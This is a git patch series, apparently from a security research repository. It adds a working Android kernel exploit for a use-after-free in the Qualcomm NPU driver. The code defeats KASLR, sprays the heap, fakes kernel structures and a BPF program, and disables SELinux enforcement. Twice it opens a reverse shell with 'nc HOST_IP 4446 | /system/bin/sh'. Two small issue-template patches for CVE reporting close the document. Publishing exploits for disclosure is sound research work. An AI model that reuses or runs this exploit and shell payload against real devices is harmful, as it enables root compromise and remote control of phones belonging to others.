+  uint64_t mem_set = host_irq_wq_offset - HOST_IRQ_WQ + MEMSET;
+  uint64_t mem_cmp = host_irq_wq_offset - HOST_IRQ_WQ + MEMCMP;
+  uint64_t do_task_dead = host_irq_wq_offset - HOST_IRQ_WQ + DO_TASK_DEAD;
+  uint64_t selinux_enforcing = SELINUX_ENFORCING - HOST_IRQ_WQ + host_irq_wq_offset;
+  uint64_t selinux_page = selinux_enforcing & 0xfffffffffffff000;  
+  uint64_t argv_split = ARGV_SPLIT - HOST_IRQ_WQ + host_irq_wq_offset;
+  uint64_t call_usermodehelper = CALL_USERMODEHELPER - HOST_IRQ_WQ + host_irq_wq_offset;
+  uint64_t run_cmd_envp = RUN_CMD_ENVP - HOST_IRQ_WQ + host_irq_wq_offset;
+  uint64_t ion_alloc_fd_addr = ION_ALLOC_FD - HOST_IRQ_WQ + host_irq_wq_offset;
+
+  //bpf program to run program loaded at network_buf_address + 0x2000, which
+  //overlaps with the ion_buffer used below and will have some parts overwritten.
+  //I'll have to skip over those fields, which are at the following offsets (in size of bpf_insn):
+  //4(heap),13(kmap_cnt),9(lock)
+  struct bpf_insn insn[] = {
+	// Load base address.
+	/*  0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address),
+    //Jump over the instructions that I can't control
+	/*    */ BPF_JMP_A(20),
+    //Jump over Unused
+    /*       Unused*/{0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+	                 {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+                     {0},
+	// Load R1 = *(in:data + 10); this is the first argument.
+	/*   */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
+	// Load R2 = *(in:data + 18); this is the second argument.
+	/*   */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0),
+	// Load R3 = *(in:data + 20); this is the third argument.
+	/*   */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2),
+	// Call R0 = function(R1, R2, R3, R4, R5). Call memset.
+	/*   */ BPF_EMIT_CALL(mem_set),
+    /*   */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, cmd_arg),
+    /*   */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, 0x50),
+    /*   */ BPF_LD_IMM64(BPF_REG_3, run_cmd_envp),
+    /*   */ BPF_LD_IMM64(BPF_REG_4, 0),
+    /*   */ BPF_EMIT_CALL(call_usermodehelper),
+	// Call R0 = function(R1, R2, R3, R4, R5). Call do_task_dead to kill off the thread to save cleaning up.
+    // This unfortunately means the bug cannot be triggered again. There is probably a better way to clean things up.
+	/*   */ BPF_EMIT_CALL(do_task_dead),
+  };
+  memcpy(&g_stats_buf[0x2000], insn, sizeof(insn));
+
+  uint64_t* bpf_data = (uint64_t*)(&g_stats_buf[0x3000]);
+  //set up write
+  bpf_data[bpf_op_offset/8] = 'w';
+  //write to selinux enforcing
+  bpf_data[bpf_rw_addr_offset/8] = selinux_enforcing;
+  bpf_data[bpf_arg0/8] = 0;
+  bpf_data[bpf_arg2/8] = 4;
+  bpf_data[cmd_arg/8] = network_buf_address + 0x3500;
+  bpf_data[0x50/8] = network_buf_address + 0x3600;
+  const char* path = "/system/bin/sh";
+  const char* arg1 = "-c";
+
+  memset(&g_stats_buf[0x3500], 0, 0x200);
+  memcpy(&g_stats_buf[0x3600], path, strlen(path));
+  memcpy(&g_stats_buf[0x3650], arg1, strlen(arg1));
+
+  sprintf((char*)(&g_stats_buf[0x3700]), "while [ 1 ]; do /system/bin/toybox nc %s 4446 | /system/bin/sh; done", HOST_IP);
+  uint64_t* argv = (uint64_t*)(&g_stats_buf[0x3500]);
+  argv[0] = network_buf_address + 0x3600;
+  argv[1] = network_buf_address + 0x3650;
+  argv[2] = network_buf_address + 0x3700;
+  argv[3] = 0;
+
+
+  uint64_t ion_dma_buf_vunmap_offset = ION_DMA_BUF_VUNMAP - HOST_IRQ_WQ + host_irq_wq_offset;
+
+  struct wait_queue_entry* fake_entry = (struct wait_queue_entry*)(&g_stats_buf[0]);
+  fake_entry->private = (void*)0x43434343434343;
+  fake_entry->func = (wait_queue_func_t)ion_dma_buf_vunmap_offset;
+  fake_entry->entry.next = network_buf_address + 24 + 0x100;
+  fake_entry->entry.prev = network_buf_address + 24;
+
+  fake_entry = (struct wait_queue_entry*)(&g_stats_buf[0x100]);
+  fake_entry->private = (void*)0x43434343434242;
+  fake_entry->func = (wait_queue_func_t)ion_alloc_fd_addr;
+  fake_entry->entry.next = network_buf_address + 24 + 0x100;
+  fake_entry->entry.prev = network_buf_address + 24 + 0x100;
+  
+
+  //dmabuf->priv
+  uint64_t* buffer = (uint64_t*)(&g_stats_buf[0] + PRIV_OFF);
+  *buffer = network_buf_address + 0x2000;
+  //buffer->heap, ldr x8, [x20,#0x20]
+  uint64_t* buffer_heap = (uint64_t*)(&g_stats_buf[0x2000] + HEAP_OFF);
+  *buffer_heap = network_buf_address + 0x1000;
+  //buffer->heap->ops
+  uint64_t* buffer_heap_ops = (uint64_t*)(&g_stats_buf[0x1000] + OPS_OFF);
+  *buffer_heap_ops = network_buf_address + 0x1500;
+  //buffer->heap->ops->map_kernel
+
+  uint64_t* fake_map_kernel = (uint64_t*)(&g_stats_buf[0x1500] + MAP_OFF);
+  *fake_map_kernel = 0x45454545454545;
+
+  uint64_t* fake_unmap_kernel = (uint64_t*)(&g_stats_buf[0x1500] + UNMAP_OFF);
+  *fake_unmap_kernel = host_irq_wq_offset - HOST_IRQ_WQ + BPF_PROG_RUN32;
+
+  //buffer->kmap_cnt
+  uint32_t* kmap_cnt = (uint32_t*)(&g_stats_buf[0x2000] + CNT_OFF);
+  *kmap_cnt = 1;
+
+  if (init_reallocation(rta, 4)) {
+    err(1, "[-] failed to initialize reallocation!\n");
+  }
+  npu_unload_network(npu_fd, network_hdl);
+  realloc_NOW();
+  close(npu_fd);
+  close(ion_fd);
+  reset();
+  return network_buf_address;
+}
+
+void trigger_uaf(uint64_t network_buf_addr) {
+  struct network_exec_param network_exec_param;
+  struct realloc_thread_arg rta[NB_REALLOC_THREADS];
+  printf("[+] trigger uaf\n");
+
+  int ion_fd = open_dev("/dev/ion");
+
+  migrate_to_cpu(FAST_CPU);
+
+  int npu_fd = open_dev("/dev/msm_npu");
+  int ion_alloc_fd = allocate_ion(ion_fd, 0x1000);
+  uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000);
+  uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr);
+
+  network_exec_param.npu_fd = npu_fd;
+  network_exec_param.ion_alloc_fd = ion_alloc_fd;
+  network_exec_param.npu_phys_addr = npu_phys_addr;
+  network_exec_param.network_hdl = network_hdl;
+
+  struct npu_client* npu_client = (struct npu_client*)(&g_realloc_data[0]);
+  npu_client->npu_dev = (uint32_t*)0xabababab;
+  //wait_queue_head
+  //spinlock
+  npu_client->wait.lock.owner = 0;
+  npu_client->wait.lock.next = 0;
+  npu_client->list_lock.wait_list.prev = 0x404040404040;
+  npu_client->list_lock.wait_list.next = 0x404040404040;
+  npu_client->evt_list.next = network_buf_addr;
+  npu_client->evt_list.prev = network_buf_addr;
+  npu_client->wait.head.next = network_buf_addr + 24;
+  npu_client->wait.head.prev = 0x42424242424242;
+
+  memset(rta, 0, sizeof(rta));
+  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
+    rta[i].realloc_data = &(g_realloc_data[0]);
+    rta[i].object_size = OBJECT_SIZE;
+    rta[i].cpu = FAST_CPU;
+  }
+
+  if (init_reallocation(rta, NB_REALLOC_THREADS)) {
+    err(1, "[-] failed to initialize reallocation!\n");
+  }
+  npu_exec_network_v2(&network_exec_param, 1);
+  usleep(10000);
+  close(ion_fd);
+  reset();
+}
+
+int overwrite_se(uint64_t host_irq_wq_offset) {
+  uint64_t network_buf_addr = leak_and_populate_controlled_buffer(host_irq_wq_offset);
+  trigger_uaf(network_buf_addr);
+  char result = '2';
+  usleep(10000);
+  int enforce_fd = open_dev("/sys/fs/selinux/enforce");
+  read(enforce_fd, &result, 1);
+  close(enforce_fd);
+  if (result == '0') {
+    printf("[+] successfully overwritten selinux_enforcing\n");
+    char buffer[200];
+    sprintf(buffer, "/system/bin/nc %s 4446|/system/bin/sh", HOST_IP);
+    char* argv[] = { "/system/bin/sh", "-c" , buffer, NULL};
+    char *envp[] = {
+		"HOME=/",
+		"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
+		NULL
+	};
+
+    execve("/system/bin/sh",argv,envp);
+    return 0;
+  }
+  printf("[-] failed to overwrite selinux_enforcing\n");
+  return -1;
+}
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+  pid_t pid = 1;
+
+  uint64_t host_irq_wq_offset = 0;
+  for (int i = 0; i < 100; i++) {
+    host_irq_wq_offset = compute_kaslr_offset();
+    if (host_irq_wq_offset) break;
+  }
+  if (!host_irq_wq_offset) {
+    err(1, "Failed to obtain offset\n");
+  }
+  printf("[+] host_irq_wq offset: %lx\n", host_irq_wq_offset);
+  pid = fork();
+  while (pid == 0) {
+    if (!overwrite_se(host_irq_wq_offset)) exit(0);
+    pid = fork();
+  }
+  exit(0);
+}
diff --git a/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h
new file mode 100644
index 0000000..51bd48a
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h
@@ -0,0 +1,381 @@
+#ifndef NPU_SPLOIT_H
+#define NPU_SPLOIT_H
+
+#include <fcntl.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+
+
+#define QSEECOM_IOC_MAGIC 0x97
+#define QSEECOM_IOCTL_RECEIVE_REQ _IO(QSEECOM_IOC_MAGIC, 5)
+
+enum ion_heap_ids {
+	INVALID_HEAP_ID = -1,
+	ION_CP_MM_HEAP_ID = 8,
+	ION_SECURE_HEAP_ID = 9,
+	ION_SECURE_DISPLAY_HEAP_ID = 10,
+	ION_CP_MFC_HEAP_ID = 12,
+	ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */
+	ION_SECURE_CARVEOUT_HEAP_ID = 14,
+	ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+	ION_QSECOM_TA_HEAP_ID = 19,  //CMA_heap
+	ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+	ION_SYSTEM_CONTIG_HEAP_ID = 21,
+	ION_ADSP_HEAP_ID = 22,     //CMA_heap
+	ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+	ION_SF_HEAP_ID = 24,
+	ION_SYSTEM_HEAP_ID = 25,
+	ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images cma_heap*/
+	ION_QSECOM_HEAP_ID = 27,  //CMA_heap
+	ION_AUDIO_HEAP_ID = 28,
+
+	ION_MM_FIRMWARE_HEAP_ID = 29,
+	ION_GOOGLE_HEAP_ID = 30,
+
+	ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /*
+			       * must be last so device specific heaps always
+			       * are at the end of this enum
+			       */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		((1 << ION_HEAP_TYPE_SYSTEM))
+#define ION_HEAP_SYSTEM_CONTIG_MASK	((1 << ION_HEAP_TYPE_SYSTEM_CONTIG))
+#define ION_HEAP_CARVEOUT_MASK		((1 << ION_HEAP_TYPE_CARVEOUT))
+#define ION_HEAP_TYPE_DMA_MASK		((1 << ION_HEAP_TYPE_DMA))
+
+#define ION_FLAGS_CP_MASK 0x6FFE8000
+
+#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
+#define ION_FLAG_CACHED 1		
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	
+struct ion_allocation_data {
+	size_t len;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+    uint32_t fd;
+    uint32_t unused;
+};
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+#define ION_BIT(nr) (1UL << (nr))
+
+#define ION_HEAP(bit)			ION_BIT(bit)
+
+struct dma_buf_sync {
+	__u64 flags;
+};
+
+#define DMA_BUF_SYNC_READ      (1 << 0)
+#define DMA_BUF_SYNC_WRITE     (2 << 0)
+#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
+#define DMA_BUF_SYNC_START     (0 << 2)
+#define DMA_BUF_SYNC_END       (1 << 2)
+#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
+	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
+
+#define DMA_BUF_BASE		'b'
+#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
+
+#define MSM_NPU_IOCTL_MAGIC 'n'
+
+struct msm_npu_map_buf_ioctl {
+	/* buffer ion handle */
+	int32_t buf_ion_hdl;
+	/* buffer size */
+	uint32_t size;
+	/* iommu mapped physical address */
+	uint64_t npu_phys_addr;
+};
+
+#define MSM_NPU_MAP_BUF _IOWR(MSM_NPU_IOCTL_MAGIC, 2, struct msm_npu_map_buf_ioctl)
+
+struct msm_npu_unmap_buf_ioctl {
+	/* buffer ion handle */
+	int32_t buf_ion_hdl;
+	/* iommu mapped physical address */
+	uint64_t npu_phys_addr;
+};
+
+#define MSM_NPU_UNMAP_BUF _IOWR(MSM_NPU_IOCTL_MAGIC, 3, struct msm_npu_unmap_buf_ioctl)
+
+struct msm_npu_load_network_ioctl {
+	/* buffer ion handle */
+	int32_t buf_ion_hdl;
+	/* physical address */
+	uint64_t buf_phys_addr;
+	/* buffer size */
+	uint32_t buf_size;
+	/* first block size */
+	uint32_t first_block_size;
+	/* reserved */
+	uint32_t flags;
+	/* network handle */
+	uint32_t network_hdl;
+	/* priority */
+	uint32_t priority;
+	/* perf mode */
+	uint32_t perf_mode;
+};
+
+#define MSM_NPU_LOAD_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 4, struct msm_npu_load_network_ioctl)
+
+#define PROP_PARAM_MAX_SIZE 8
+
+struct msm_npu_property {
+	uint32_t prop_id;
+	uint32_t num_of_params;
+	uint32_t network_hdl;
+	uint32_t prop_param[PROP_PARAM_MAX_SIZE];
+};
+
+#define MSM_NPU_SET_PROP _IOW(MSM_NPU_IOCTL_MAGIC, 10, struct msm_npu_property)
+
+#define MSM_NPU_MAX_INPUT_LAYER_NUM 8
+
+#define MSM_NPU_MAX_OUTPUT_LAYER_NUM 4
+
+struct msm_npu_patch_info {
+	/* chunk id */
+	uint32_t chunk_id;
+	/* instruction size in bytes */
+	uint16_t instruction_size_in_bytes;
+	/* variable size in bits */
+	uint16_t variable_size_in_bits;
+	/* shift value in bits */
+	uint16_t shift_value_in_bits;
+	/* location offset */
+	uint32_t loc_offset;
+};
+
+struct msm_npu_layer {
+	/* layer id */
+	uint32_t layer_id;
+	/* patch information*/
+	struct msm_npu_patch_info patch_info;
+	/* buffer handle */
+	int32_t buf_hdl;
+	/* buffer size */
+	uint32_t buf_size;
+	/* physical address */
+	uint64_t buf_phys_addr;
+};
+
+struct msm_npu_exec_network_ioctl {
+	/* network handle */
+	uint32_t network_hdl;
+	/* input layer number */
+	uint32_t input_layer_num;
+	/* input layer info */
+	struct msm_npu_layer input_layers[MSM_NPU_MAX_INPUT_LAYER_NUM];
+	/* output layer number */
+	uint32_t output_layer_num;
+	/* output layer info */
+	struct msm_npu_layer output_layers[MSM_NPU_MAX_OUTPUT_LAYER_NUM];
+	/* patching is required */
+	uint32_t patching_required;
+	/* asynchronous execution */
+	uint32_t async;
+	/* reserved */
+	uint32_t flags;
+};
+
+#define MSM_NPU_EXEC_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 6, struct msm_npu_exec_network_ioctl)
+
+#define MSM_NPU_PROP_ID_START 0x100
+
+#define MSM_NPU_PROP_ID_FW_STATE (MSM_NPU_PROP_ID_START + 0)
+
+struct msm_npu_load_network_ioctl_v2 {
+	/* physical address */
+	uint64_t buf_phys_addr;
+	/* patch info(v2) for all input/output layers */
+	uint64_t patch_info;
+	/* buffer ion handle */
+	int32_t buf_ion_hdl;
+	/* buffer size */
+	uint32_t buf_size;
+	/* first block size */
+	uint32_t first_block_size;
+	/* load flags */
+	uint32_t flags;
+	/* network handle */
+	uint32_t network_hdl;
+	/* priority */
+	uint32_t priority;
+	/* perf mode */
+	uint32_t perf_mode;
+	/* number of layers in the network */
+	uint32_t num_layers;
+	/* number of layers to be patched */
+	uint32_t patch_info_num;
+	/* reserved */
+	uint32_t reserved;
+};
+
+struct msm_npu_exec_network_ioctl_v2 {
+	/* stats buffer to be filled with execution stats */
+	uint64_t stats_buf_addr;
+	/* patch buf info for both input and output layers */
+	uint64_t patch_buf_info;
+	/* network handle */
+	uint32_t network_hdl;
+	/* asynchronous execution */
+	uint32_t async;
+	/* execution flags */
+	uint32_t flags;
+	/* stats buf size allocated */
+	uint32_t stats_buf_size;
+	/* number of layers to be patched */
+	uint32_t patch_buf_info_num;
+	/* reserved */
+	uint32_t reserved;
+};
+
+struct msm_npu_unload_network_ioctl {
+	/* network handle */
+	uint32_t network_hdl;
+};
+
+struct msm_npu_event_execute_done {
+	uint32_t network_hdl;
+	int32_t exec_result;
+};
+
+struct msm_npu_event_execute_v2_done {
+	uint32_t network_hdl;
+	int32_t exec_result;
+	/* stats buf size filled */
+	uint32_t stats_buf_size;
+};
+
+struct msm_npu_event_ssr {
+	uint32_t network_hdl;
+};
+
+struct msm_npu_event {
+	uint32_t type;
+	union {
+		struct msm_npu_event_execute_done exec_done;
+		struct msm_npu_event_execute_v2_done exec_v2_done;
+		struct msm_npu_event_ssr ssr;
+		uint8_t data[128];
+	} u;
+	uint32_t reserved[4];
+};
+
+struct msm_npu_patch_buf_info {
+	/* physical address to be patched */
+	uint64_t buf_phys_addr;
+	/* buffer id */
+	uint32_t buf_id;
+};
+
+struct msm_npu_patch_info_v2 {
+	/* patch value */
+	uint32_t value;
+	/* chunk id */
+	uint32_t chunk_id;
+	/* instruction size in bytes */
+	uint32_t instruction_size_in_bytes;
+	/* variable size in bits */
+	uint32_t variable_size_in_bits;
+	/* shift value in bits */
+	uint32_t shift_value_in_bits;
+	/* location offset */
+	uint32_t loc_offset;
+};
+
+
+/* load network v2 */
+#define MSM_NPU_LOAD_NETWORK_V2 \
+	_IOWR(MSM_NPU_IOCTL_MAGIC, 7, struct msm_npu_load_network_ioctl_v2)
+
+/* exec network v2 */
+#define MSM_NPU_EXEC_NETWORK_V2 \
+	_IOWR(MSM_NPU_IOCTL_MAGIC, 8, struct msm_npu_exec_network_ioctl_v2)
+
+#define MSM_NPU_UNLOAD_NETWORK \
+	_IOWR(MSM_NPU_IOCTL_MAGIC, 5, struct msm_npu_unload_network_ioctl)
+
+#define MSM_NPU_RECEIVE_EVENT \
+	_IOR(MSM_NPU_IOCTL_MAGIC, 9, struct msm_npu_event)
+
+struct spinlock_t {
+  uint16_t owner;
+  uint16_t next;
+};
+
+struct list_head {
+  uint64_t next, prev;
+};
+
+struct wait_queue_head {
+	struct spinlock_t	lock;
+	struct list_head	head;
+};
+
+typedef struct wait_queue_head wait_queue_head_t;
+
+typedef int (*wait_queue_func_t)(void *wq_entry, unsigned mode, int flags, void *key);
+
+struct wait_queue_entry {
+  uint32_t flags;
+  void *private;
+  wait_queue_func_t func;
+  struct list_head entry;
+};
+
+struct mutex {
+  uint64_t owner;
+  struct spinlock_t wait_lock;
+  struct list_head wait_list;
+};
+
+struct npu_client {
+	uint32_t *npu_dev;
+	wait_queue_head_t wait;
+
+	struct mutex list_lock;
+	struct list_head evt_list;
+	struct list_head mapped_buffer_list;
+};
+
+#endif
+
+
diff --git a/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c
new file mode 100644
index 0000000..80c1c1b
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c
@@ -0,0 +1,193 @@
+#include <err.h>
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <string.h>
+#include <sys/syscall.h>
+
+#include "sendmsg_spray.h"
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+void migrate_to_cpu(int i)
+{
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(i, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        err(1, "Error in the syscall setaffinity");
+    }
+}
+
+int init_realloc_data(char* realloc_data, size_t obj_size) {
+  struct cmsghdr *first;
+  
+  // necessary to pass checks in __scm_send()
+  first = (struct cmsghdr*) realloc_data;
+  first->cmsg_len = obj_size;
+  first->cmsg_level = 0;
+  first->cmsg_type = 1;
+  return 0;  
+}
+
+int init_unix_sockets(struct realloc_thread_arg * rta) {
+  struct timeval tv;
+  static int sock_counter = 0;
+
+  if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
+      ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
+  {
+    perror("[-] socket");
+    goto fail;
+  }
+
+  memset(&rta->addr, 0, sizeof(rta->addr));
+  rta->addr.sun_family = AF_UNIX;
+  sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter);
+  if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] bind");
+    goto fail;
+  }
+
+  if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] connect");
+    goto fail;
+  }
+
+  memset(&tv, 0, sizeof(tv));
+  if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
+    err(1, "setsockopt");
+  }
+
+  return 0;
+fail:
+  printf("[-] failed to initialize UNIX sockets!\n");
+  return -1;
+}
+
+static volatile size_t g_nb_realloc_thread_ready = 0;
+static volatile size_t g_realloc_now = 0;
+
+static void* realloc_thread(void *arg)
+{
+  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
+  struct msghdr mhdr;
+  char buf[200];
+
+  // initialize msghdr
+  struct iovec iov = {
+    .iov_base = buf,
+    .iov_len = sizeof(buf),
+  };
+  memset(&mhdr, 0, sizeof(mhdr));
+  mhdr.msg_iov = &iov;
+  mhdr.msg_iovlen = 1;
+
+  // the thread should inherit main thread cpumask, better be sure and redo-it!
+  migrate_to_cpu(rta->cpu);
+
+  // make it block
+  while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
+    ;
+  if (errno != EAGAIN)
+  { 
+    perror("[-] sendmsg");
+    goto fail;
+  }
+
+  // use the arbitrary data now
+  iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
+  mhdr.msg_control = (void*)(rta->realloc_data); // use the ancillary data buffer
+  mhdr.msg_controllen = rta->object_size;
+
+  g_nb_realloc_thread_ready++;
+
+  while (!g_realloc_now) // spinlock until the big GO!
+    ;
+  // the next call should block while "reallocating"
+  if (sendmsg(rta->send_fd, &mhdr, 0) < 0)
+  {
+    perror("[-] sendmsg");
+    goto fail;
+  }
+
+  return NULL;
+
+fail:
+  printf("[-] REALLOC THREAD FAILURE!!!\n");
+  return NULL;
+}
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)
+{
+  int thread = 0;
+  int ret = -1;
+
+  if (init_realloc_data(rta->realloc_data, rta->object_size))
+  {
+    printf("[-] failed to initialize reallocation data!\n");
+    goto fail;
+  }
+  printf("[+] reallocation data initialized!\n");
+
+  printf("[ ] initializing reallocation threads, please wait...\n");
+  for (thread = 0; thread < nb_reallocs; ++thread)
+  {
+    if (init_unix_sockets(&rta[thread]))
+    {
+      printf("[-] failed to init UNIX sockets!\n");
+      goto fail;
+    }
+
+    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
+    {
+      perror("[-] pthread_create");
+      goto fail;
+    }
+  }
+
+  while (g_nb_realloc_thread_ready < nb_reallocs)
+    sched_yield();
+
+  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
+
+  return 0;
+
+fail:
+  printf("[-] failed to initialize reallocation\n");
+  return -1;
+}
+
+void reset() {
+  g_realloc_now = 0;
+  g_nb_realloc_thread_ready = 0;
+}
+
+void realloc_NOW(void)
+{
+  g_realloc_now = 1;
+  sched_yield(); // don't run me, run the reallocator threads!
+  sleep(5);
+}
+
diff --git a/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h
new file mode 100644
index 0000000..b371477
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h
@@ -0,0 +1,27 @@
+#ifndef SENDMSG_SPRAY_H
+#define SENDMSG_SPRAY_H
+#include <sched.h>
+#include <sys/un.h>
+#include <pthread.h>
+#include <unistd.h>
+
+struct realloc_thread_arg
+{
+  pthread_t tid;
+  int recv_fd;
+  int send_fd;
+  struct sockaddr_un addr;
+  char* realloc_data;
+  size_t object_size;
+  int cpu;
+};
+
+void migrate_to_cpu(int i);
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs);
+
+void reset();
+
+void realloc_NOW(void);
+
+#endif

From 7f080fbc1148770fc62b06e83f7c423f0b5dec41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= <pwntester@github.com>
Date: Wed, 10 Nov 2021 10:28:47 +0100
Subject: [PATCH 066/104] Apply suggestions from code review

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 6fde3ce..636c2c5 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -42,7 +42,7 @@ body:
     attributes:
       label: CWE
       description: CWE that best fits the vulnerability class modeled with your query
-      placeholder: ex. CWE-502: Deserialization of Untrusted Data
+      placeholder: "ex. CWE-502: Deserialization of Untrusted Data"
     validations:
       required: false
   - type: textarea

From 226ecf19c3351d9bdacf4856dbc08e5f2ef07076 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Wed, 10 Nov 2021 10:30:32 +0100
Subject: [PATCH 067/104] move CVE list section up

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 636c2c5..125a381 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -37,6 +37,17 @@ body:
         - C#
     validations:
       required: true
+  - type: textarea
+    id: cve_ids
+    attributes:
+      label: CVE(s) ID list
+      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result)
+      placeholder: |
+        ex.
+        - [CVE-20nn-xxxx](<relevant URL>)
+        - [CVE-20nn-yyyy](<relevant URL>)
+    validations:
+      required: true
   - type: input
     id: cwe
